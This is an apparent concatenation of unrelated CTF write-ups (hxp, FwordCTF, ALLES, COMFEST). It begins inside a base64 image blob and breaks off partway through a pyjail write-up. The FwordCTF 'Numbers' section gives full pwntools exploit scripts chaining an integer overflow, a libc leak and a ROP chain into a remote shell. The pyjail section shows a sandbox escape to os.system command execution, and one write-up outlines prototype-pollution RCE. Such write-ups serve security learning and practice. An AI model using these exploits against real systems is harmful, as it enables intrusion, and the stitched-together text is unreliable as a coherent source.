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```
Store this base64 string in a file called `flag.txt`. Now decrypt it and store it in `flag.png`.
```bash$ cat flag.txt | base64 -d > flag.png```
Open `flag.png` and read the flag.
The flag is:
```flag{flushed_down_the_toilet_but_rescued_again}``` |
For full write-up, check the link the hxp blog.
Code:```def int32 main() { array<int64, 603> payload; payload[0] = hex64("000000000040c204"); payload[3] = hex64("00000000004032ac"); payload[4] = hex64("0000000000416b90"); payload[5] = hex64("0000000000408145"); print(payload); print("/bin/sh"); print(364613836481806385); if ("A"[0] == "B"[0]) { array<char, 1152921504606842104> tmp0; array<char, 1152921504606846976> tmp1; array<char, 1152921504606846976> tmp2; array<char, 1152921504606846976> tmp3; array<char, 1152921504606846976> tmp4; array<char, 1152921504606846976> tmp5; array<char, 1152921504606846977> tmp6; array<char, 1152921504606846976> tmp7; array<char, 1152921504606846976> tmp8; array<char, 1152921504606846976> tmp9; array<char, 1152921504606846976> tmp10; array<char, 1152921504606846976> tmp11; array<char, 1152921504606846976> tmp12; array<char, 1152921504606846976> tmp13; array<char, 1152921504606846976> tmp14; array<char, 1152921504606846976> tmp15; int32 i = 0; tmp0[i] = 100; tmp1[i] = 100; tmp2[i] = 100; tmp3[i] = 100; tmp4[i] = 100; tmp5[i] = 100; tmp6[i] = 100; tmp7[i] = 100; tmp8[i] = 100; tmp9[i] = 100; tmp10[i] = 100; tmp11[i] = 100; tmp12[i] = 100; tmp13[i] = 100; tmp14[i] = 100; tmp15[i] = 100; } return 0;}``` |
# Cold War
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Stegsnow
# Source
```A geopolitical activity that is pursued through economic and political actions, propaganda, acts of espionage or proxy wars and without direct military action is known as a Cold War. This type of war does not refer to conflict of seasons, but this challenge might.
Download the file below.```
- [cold_war.txt](./cold_war.txt)
# Exploitation
The repeated usage of `cold` war hints that you might have to use stegsnow. And it is in fact what you need to use.
```$ stegsnow -C cold_war.txtflag{do_not_use_merriam_webster}# ```
The flag is:
```flag{do_not_use_merriam_webster}``` |
# FwordCTF 2020
## Numbers
> 490> > Do you like playing with numbers ?>> `nc numbers.fword.wtf 1237`>> Author : haflout>> [`Numbers`](numbers)
Tags: _pwn_ _x86-64_ _remote-shell_ _bof_ _rop_ _integer-overflow_
## Summary
Leverage an integer overflow to increase the number of bytes read to score a buffer overflow.
> There are two ways to solve this. The _hard path_, that I ended up using since I assumed the buffer was initialized (dunno man, _tired? How I've done others like this?_), or the _easy path_ where you leak libc from an uninitialized buffer (hat tip to [po6ix](https://gist.githubusercontent.com/po6ix/31a1ed1b033b1ab23541c84e83de448d/raw/6b7c5047cf3596b7909e1e249156c7393b2c329b/numbers.py)). I'll show both.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
Most mitigations in place, however no stack canary; BOF -> ROP.
### Decompile with Ghidra
```cvoid get_number(int *param_1){ int iVar1; char local_10 [8]; puts("\ndo you have any number in mind ??"); read(0,local_10,8); iVar1 = atoi(local_10); *param_1 = iVar1; if (0x3c < *param_1) { puts("you\'re a naughty boy.."); exit(1); } return;}```
`iVar1` is `int` and not `uint`, so a `-1` will pass the check, however...
```undefined8 main(void){ int iVar1; uint local_10; char local_9; setup_buffers(); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); do { get_number((int *)&local_10); vuln(local_10); puts("\ntry again ?"); iVar1 = getchar(); local_9 = (char)iVar1; } while (local_9 != 'n'); return 0;}```
`main` passes the value from `get_number` as `uint` to `vuln` (defined as `uint local_10`):
```undefined8 vuln(uint param_1){ undefined local_48 [64]; puts("are yo sure ??"); read(0,local_48,(ulong)param_1); printf("%s",local_48); return 0;}```
Just to make extra sure you get all your bits, your way, `param_1` is cast to `ulong`. IOW, a `-1` will get you all the bits you need and then some. BOF -> ROP.
A libc leak will provide the necessary bits to pwn this challenge.
#### The _Easy Path_
The _easy path_ leaks libc directly from the stack. `local_48` is uninitialized; let's take a look with GDB (gef):
```0x00007ffc0d27c9f8β+0x0000: 0x00005556e8752945 β lea rax, [rbp-0x40] β $rsp0x00007ffc0d27ca00β+0x0008: 0x00007ffc0d27cb50 β 0x00000000000000010x00007ffc0d27ca08β+0x0010: 0x00000008000000000x00007ffc0d27ca10β+0x0018: 0x0000000000000000 β $rsi0x00007ffc0d27ca18β+0x0020: 0x00007fdfda11b480 β <atoi+16> add rsp, 0x80x00007ffc0d27ca20β+0x0028: 0x00007ffc0d27cb50 β 0x00000000000000010x00007ffc0d27ca28β+0x0030: 0x00005556e87528e9 β mov edx, eax0x00007ffc0d27ca30β+0x0038: 0x00007ffc0d27ca50 β 0x00007ffc0d27ca70 β 0x00005556e8752a70 β push r150x00007ffc0d27ca38β+0x0040: 0x00007ffc0d27ca68 β 0x00000000000000080x00007ffc0d27ca40β+0x0048: 0x00007ffc0d27ca70 β 0x00005556e8752a70 β push r150x00007ffc0d27ca48β+0x0050: 0x00005556e8752738 β <printf@plt+8> add BYTE PTR [rax], al0x00007ffc0d27ca50β+0x0058: 0x00007ffc0d27ca70 β 0x00005556e8752a70 β push r15 β $rbp0x00007ffc0d27ca58β+0x0060: 0x00005556e8752a47 β lea rdi, [rip+0xf6] # 0x5556e8752b44```
Above is the stack when being prompted `are yo sure ??`. `local_48` is `0x48` bytes from the return address at offset `+0x0060`. `0x60 - 0x48` puts the start of the `local_48` at `+0x0018`, just above a libc leak for `atoi+16`. Just send 8 bytes and the `printf` after the `read` (see `vuln` above) will leak `atoi+16` and return back to `main` for a second pass.
#### The _Hard Path_
The _hard path_ assumes that the buffer is initialized. Using the same trick as the _easy path_, however it's not just 8 bytes that need to be sent, it's `0x48`--the distance from the return address; and that is the target. Leaking the return address will provide the base process address, from there, it's leaking libc using the GOT.
_What makes that so hard?_
Well, when `vuln` [_LEAVES_](https://www.felixcloutier.com/x86/leave), the stack pointer gets set to the garbage created by the buffer overflow that went through the saved base pointer (`$rbp` above) on the way to the return address (see offset `+0x0058` in the stack diagram above--that's what will be _moved_ to `RSP` on `LEAVE`). On return, `main` will be unstable and unpredictable rendering a second pass governed by chance--or at least that was my experience when developing this exploit.
Leaking the saved base pointer is possible, but pointless because x86_64 addresses today are only 48 bits. The two most significant bytes still have to be overflowed with non-zeros for `printf` to leak the return address.
The solution is to brute force the 4th to last nibble. I know where I'd like to return to (top of `main`), but I only know the last 3 nibbles of `main` (disassemble it).
## Exploit
### Easy Path: Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./numbers')context.log_level = 'INFO'context.log_file = 'log.log'
'''# local libclibc = binary.libcp = process(binary.path)'''# task libclibid = 'libc6_2.28-0ubuntu1_amd64'libpath = os.getcwd() + '/libc-database/libs/' + libid + '/'ld = ELF(libpath + 'ld-2.28.so')libc = ELF(libpath + 'libc-2.28.so')#p = process([ld.path, binary.path], env={'LD_LIBRARY_PATH': libpath})#p = process([binary.path], env={'LD_LIBRARY_PATH': libpath})p = remote('numbers.fword.wtf', 1237)#'''```
The setup above is the final version, but before we can get there, we'll start with our local libc block, then switch to the challenge libc after discovered.
### Easy Path: Leak libc
```pythonp.sendafter('do you have any number in mind ??\n','8')p.sendafter('are yo sure ??\n',8 * 'A')_ = p.recv(14).strip()[-6:]atoi = u64(_ + b'\x00\x00') - 16log.info('atoi: ' + hex(atoi))libc.address = atoi - libc.sym.atoilog.info('baselibc: ' + hex(libc.address))```
From the analysis section we determined `atoi+16` is leaked 8 bytes in, the above will just put 8 bytes, and then catch the leak from `printf`.
> NOTE: This is _not_ guaranteed to work with the challenge libc version. The `+16` offset within `atoi` can vary from libc to libc. The probably of this diverging increases as the offset increases, i.e. code changes. When working on challenges like this where I'm using the stack to leak libc I try to be as close to the running environment as possible, e.g.:> > ```> # strings numbers | grep GCC> GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0> ```> > Based on the output above I used an Ubuntu 18 container as a starting point.
At this point, its time to leak `atoi` from the challenge server and use the [libc-database](https://github.com/niklasb/libc-database) to find the correct libc version and test. Fortunately, the offset of `16` is the same.
### Easy Path: Get a shell, get a flag
```pythonp.sendafter('try again ?\n','y')p.sendafter('do you have any number in mind ??\n','-1')
rop = ROP([libc])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]log.info('pop_rdi: ' + hex(pop_rdi))
payload = 0x48 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b"/bin/sh").__next__())payload += p64(libc.sym.system)
p.sendafter('sure ??\n',payload)p.recv(len(payload))p.interactive()```
With libc version and location in hand, get a shell.
Output:
```bash# ./exploit-easy.py[*] '/pwd/datajerk/fwordctf2020/numbers/numbers' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/numbers/libc-database/libs/libc6_2.28-0ubuntu1_amd64/ld-2.28.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/numbers/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc-2.28.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] atoi: 0x7fa9af25e470[*] baselibc: 0x7fa9af21c000[*] Loaded 196 cached gadgets for '/pwd/datajerk/fwordctf2020/numbers/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc-2.28.so'[*] pop_rdi: 0x7fa9af23fa6f[*] Switching to interactive mode$ iduid=1000(fword) gid=1000(fword) groups=1000(fword)$ ls -ltotal 32-rw-r--r-- 1 root root 42 Aug 29 00:23 flag.txt-rwxr-xr-x 1 root root 6120 Aug 29 15:39 numbers-rwxr-xr-x 1 root root 18744 Aug 29 00:23 ynetd$ cat flag.txtFwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}```
### Hard Path: Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./numbers')binary.symbols['main'] = 0x9c5binary.symbols['entry'] = binary.symbols['main'] + 1context.log_level = 'INFO'context.log_file = 'log.log'
'''# local libclibc = binary.libc'''# task libclibid = 'libc6_2.28-0ubuntu1_amd64'libpath = os.getcwd() + '/libc-database/libs/' + libid + '/'ld = ELF(libpath + 'ld-2.28.so')libc = ELF(libpath + 'libc-2.28.so')#'''```
The setup above is the final version, but before we can get there, we'll start with our local libc block, then switch to the challenge libc after discovered.
`binary.symbols['main']` and `binary.symbols['entry']` add symbols to the stripped `./numbers` symbol table. More on this below.
### Hard Path: Brute force base process address
```pythonwhile True: #p = process(binary.path) #p = process([ld.path, binary.path], env={'LD_LIBRARY_PATH': libpath}) #p = process([binary.path], env={'LD_LIBRARY_PATH': libpath}) p = remote('numbers.fword.wtf', 1237)
p.sendafter('do you have any number in mind ??\n','-1') payload = 0x48 * b'A' payload += p16(binary.symbols['entry'] & 0xffff) p.sendafter('are yo sure ??\n',payload)
_ = p.recv(0x48) if _ not in 0x48 * b'A': p.close() continue _ = p.recv(6) try: entry = u64(_ + b'\x00\x00') except: p.close() continue
log.info('entry: ' + hex(entry)) binary.address = entry & (2 ** 64 - 0x1000) log.info('binary.address: ' + hex(binary.address)) log.info('entry: ' + hex(binary.sym.entry))
try: p.sendafter('do you have any number in mind ??\n','-1') break except: p.close() continue```
This loop essentially brute forces the 4th nibble. Or better put, assumes the 4th nibble is `0` and just keeps trying until it does not fail. ASLR will eventually (1 in 16) have `0` as the 4th nibble. This works pretty quickly (less than 30 seconds).
Take note, that we're trying to _return_ to `entry` (`main+1`) vs. `main`. This is to fix a [stack alignment](https://blog.binpang.me/2019/07/12/stack-alignment/) issue with `printf`. The +1 skips the initial `push rbp` at the beginning of `main`. Without this, `printf` will segfault in `vuln`.
If the stack were initialized this may be one of the only ways to leak.
### Hard Path: Leak libc
```pythonp.recvuntil('are yo sure ??\n')
rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]log.info('pop_rdi: ' + hex(pop_rdi))
payload = 0x48 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(binary.got.puts)payload += p64(binary.plt.puts)payload += p64(binary.symbols['entry'])
p.send(payload)
_ = p.recvuntil('do you ')[-15:][:6]puts = u64(_ + b'\x00\x00')log.info('puts: ' + hex(puts))libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))```
With the base process address leaked, leaking libc with the GOT is trivial. And, it is necessary again to return to `main+1` (`entry`) to avoid a `printf` segfault for the final pass.
### Hard Path: Get a shell, get a flag
```pythonp.sendafter('have any number in mind ??\n','-1')
payload = 0x48 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b"/bin/sh").__next__())payload += p64(libc.sym.system)
p.sendafter('sure ??\n',payload)p.recv(len(payload))p.interactive()```
Not much different that the _easy path_ at this point.
Output:
```bash# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/numbers/numbers' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/numbers/libc-database/libs/libc6_2.28-0ubuntu1_amd64/ld-2.28.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/numbers/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc-2.28.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] entry: 0x562c4e7409c6[*] binary.address: 0x562c4e740000[*] entry: 0x562c4e7409c6[*] Closed connection to numbers.fword.wtf port 1237[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] Closed connection to numbers.fword.wtf port 1237[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] entry: 0x55a2814f09c6[*] binary.address: 0x55a2814f0000[*] entry: 0x55a2814f09c6[*] Closed connection to numbers.fword.wtf port 1237[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] entry: 0x564f797d09c6[*] binary.address: 0x564f797d0000[*] entry: 0x564f797d09c6[*] Closed connection to numbers.fword.wtf port 1237[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] entry: 0x55da8ae009c6[*] binary.address: 0x55da8ae00000[*] entry: 0x55da8ae009c6[*] Closed connection to numbers.fword.wtf port 1237[+] Opening connection to numbers.fword.wtf on port 1237: Done[*] entry: 0x55b74b7c09c6[*] binary.address: 0x55b74b7c0000[*] entry: 0x55b74b7c09c6[*] Loaded 14 cached gadgets for './numbers'[*] pop_rdi: 0x55b74b7c0ad3[*] puts: 0x7f225a0f5010[*] libc.address: 0x7f225a074000[*] Switching to interactive mode$ iduid=1000(fword) gid=1000(fword) groups=1000(fword)$ ls -ltotal 32-rw-r--r-- 1 root root 42 Aug 29 00:23 flag.txt-rwxr-xr-x 1 root root 6120 Aug 29 15:39 numbers-rwxr-xr-x 1 root root 18744 Aug 29 00:23 ynetd$ cat flag.txtFwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}```
|
Because of the previous [challenge](https://ctftime.org/writeup/23297) we know
we can use `input` to execute pretty much anything and bypass the blacklisted chars
Let's print all subclasses()
```>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]```
We need `os._wrap_close` to execute `system` function
```>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("ls -la")total 40drwxr-xr-x. 2 root root 131 Sep 3 18:27 .drwxr-xr-x. 3 root root 17 Jul 22 18:42 ..-rw-r--r--. 1 root root 220 Apr 4 2018 .bash_logout-rw-r--r--. 1 root root 3771 Apr 4 2018 .bashrc-rw-r--r--. 1 root root 807 Apr 4 2018 .profile-rw-r--r--. 1 root root 29 Aug 29 15:20 LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt-rwxr-xr-x. 1 root root 1328 Sep 3 18:27 pyjail.py-rwxr-xr-x. 1 root root 18744 Jul 22 18:50 ynetd```
Let's read `LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt`:
```>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("cat LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt")ALLES{th1s_w4s_a_r34l_3sc4pe}```
Flag: `ALLES{th1s_w4s_a_r34l_3sc4pe}`
As simple as that x) |
# COMFEST CTF
## Gambling Problem 2
Points : 935
Description :
```Dek Depe found an online gambling service from * redacted * forum. Since this online gambling service has just opened, users are given money to start a gambling career. After being given the bin file through some insiders, Dek Depe realized that there was a deadly bug in the program. Help Dek Depe take advantage of the exploit!```
### Checking the source code
Upong checking the main function, we see that, there are 3 while loops. The `gameTime()` function, takes an input from the user and generates a random value.
```./gamblingProblem Welcome to the most illegal gambling site, win a flag prize!What do you want to do today?1. Guess the Number2. Shop3. ExitChoice :```
```We're kind, so here's your starting money, it's on the house :)Money : 6803
Continue playing (1 = yes/0 = no):1Place your bet : 2323
Guess (Number 1-100): 4Rolling Dice ... THE NUMBER IS 96
WRONG LOL!```
So you need to guess the number which the computer will put out. But before that you need to place a bet. If you guess the wrong number, it will deduct that from you money.
The above is the main function.
### The shopTime function
The `shopTime()` function is the one which actually reads the flag. But it checks if you have more money than `0xdeadbeef` which you'll not get by default.
### Bug in the gameTime function
Since the `gameTime` function actually deducts from your current money, what if you place more bet than the amount of money you have. There will be an integer overflow. As a result you'll have more money than `0xdeadbeef`.
So when asked to place the bet, I entered one more than the amount of money I was given and the final amount was much more.
So when I tried the buy option, I got the flag :
 |
# misc / Next Generation Payout
## Question
> The future is here!> Thanks to our new payment method, you can just scan our fancy image, enter the secret code and instantly receive your payment!!1!1>> Friendly Haxxor: Boys i don't like this new NGP Banking sh\*t, I intercepted network traffic from their old NGP version.> Hopefully you could use this to steal all their money REEEEE
### Provided Files
- [`NGPv1_sniff.pcapng`](https://raw.githubusercontent.com/TeamOm3ga/writeups/master/2020/alles/misc/NGPv1_sniff.pcapng)
## Solution
The `.pcapng` file is a Wireshark packet capture.We can extract two important files from here, a `flicker.gif` and a JSON representation of the data:
```json{ "iban": "DE1922832821", "security_code": "11337", "account_number": "82561" }```
The code has five coloured blocks and four possible colours (including the "background" null colour).Navigating to the provided webpage shows a similar flickering code with different colours.We will have to decode the `security_code` to find the flag.Begin by analyzing the frames of `flicker.gif`:
Scanning frame-by-frame, the first block simply repeats the four colours.The data blocks only change every fourth frame/one clock cycle.There are four colours Γ four blocks = 1 byte of information per cycle.
The first four clock cycles also have all four of the other blocks as one colour, as if to introduce the colour scheme.
Knowing that the IBAN must appear somewhere, we decoded the block order as 2, 1, 4, 3.
Even with the IBAN appearing in this decoding, the security code and account number were not there.Eventually, we noticed that the remaining bytes can be interpreted as[binary-coded decimal](https://en.wikipedia.org/wiki/Binary-coded_decimal)after seeing them appear in the hex representation(hex and 8421 BCD are the same, hex just allows values above 9).
The security code appears from the second half of byte 4 to the end of byte 7.
With this knowledge, we wrote a script to(1) figure out the colour scheme,(2) interpret the bits in the right order, and(3) extract the security code:
```pyfrom PIL import Imageclock = Nonecolors = {}im = Image.open("web.gif")
def get_frame(im): positions = [(20, 0), (70, 0), (110, 0), (150, 0), (200, 0)] px = im.convert('RGB') return [px.getpixel(xy) for xy in positions]def next_frame(im): im.seek(im.tell() + 1) while get_frame(im)[0] != clock: im.seek(im.tell() + 1) return get_frame(im)
im.seek(1)clock = get_frame(im)[0]im.seek(0)msg = b''try: for i in range(4): frame = next_frame(im) colors[frame[1]] = ["00", "01", "10", "11"][i] while 1: frame = next_frame(im) decode = [colors[col] for col in frame] byte = decode[2] + decode[1] + decode[4] + decode[3] msg += bytes([int(byte, base=2)])except EOFError: pass
# code is at bytes 4.5-7 in binary coded decimal (i.e. hex string)print('code: ' + msg[3:6].hex()[1:])```
Running this on the generated GIF from the site gives us the security code:
```text$ python decode.pycode: 37590```
Entering the code displays the flag:
### Flag
`ALLES{?????β¬??β¬}` |
1) Using the app.put('/api/directory*') route, we can achieve prototype pollution.2) Using prototype pollution to change following variable values in child_process.spawn to get RCE. (CVE-2019-7609)3) Using RCE to put an executable into /tmp directory of the server and run it to get the flag!
`Flag: ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}`
Click [here](https://blog.sud0u53r.com/2020/09/alles-ctf-2020-writeup-only-freights.html) for detailed writeup |
# Description
Category: Misc
Difficulty: Easy
Author: explo1t
Description: Run the secret function you must! Hrrmmm. A flag maybe you will get.
# Overview
This challenge takes place in a remote restricted Python shell a.k.a. a Python jail. Usually the goal is to escape the jail, i.e. to shell out and find the flag in the filesystem.
But this challenge description says that one *may* get a flag by running a secret function inside the jail. It turns out that another challenge called **Pyjail Escape** takes place inside this same jail, and its goal is to escape. So one can say this challenge is a bit easier than an actual jail escape.
# Reconnaissance
After connecting to the challenge server, there is the following Python shell:
```pythonThe flag is stored super secure in the function ALLES !>>> a =```
So the secret function name is `ALLES`. Call it:
```pythona = ALLES()name 'alles' is not defined```
The input characters are converted to lowercase. At this point it's a good idea to try to find other restrictions of this jail.
## Character set
Some characters are prohibited:
```python>>> a = wwDenied```
But others are OK:
```python>>> a = ename 'e' is not defined```
There are 95 printable ASCII characters, so it doesn't take long to try all of them. List of all allowed characters:
```python["1", "2", "3", "7", "9", "0", "\"", "(", ")", "'", "+", ".", "a", "c", "d", "e", "g", "i", "l", "n", "o", "p", "r", "s", "t", "v", "[", "]", "_"]```
Uppercase counterparts of allowed lowercase characters are not prohibited, but are converted to lowercase.
## Built-ins
Lots of built-in functions are removed:
```python>>> a = ord()name 'ord' is not defined```
At this point calling `__builtins__` to see which functions weren't removed is not possible (`"__builtins__"` contains prohibited characters `'b'` and `'u'` ). Using [Built-in Functions table](https://docs.python.org/3/library/functions.html) it is possible to manually check that the only readily available built-ins are: `['repr', 'str', 'print', 'eval', 'all']`. There might be others, but it is not possible to check at this point because of the character set restrictions.
## Using eval()
Out of that list, `eval` immediately catches attention. `eval` is used to evaluate a string as a Python expression and return the result.
